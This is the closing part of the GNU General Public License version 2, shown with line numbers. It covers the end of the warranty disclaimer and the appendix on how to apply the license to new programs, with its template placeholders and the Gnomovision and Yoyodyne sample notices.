| INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. --------------------------------------------------------------------------------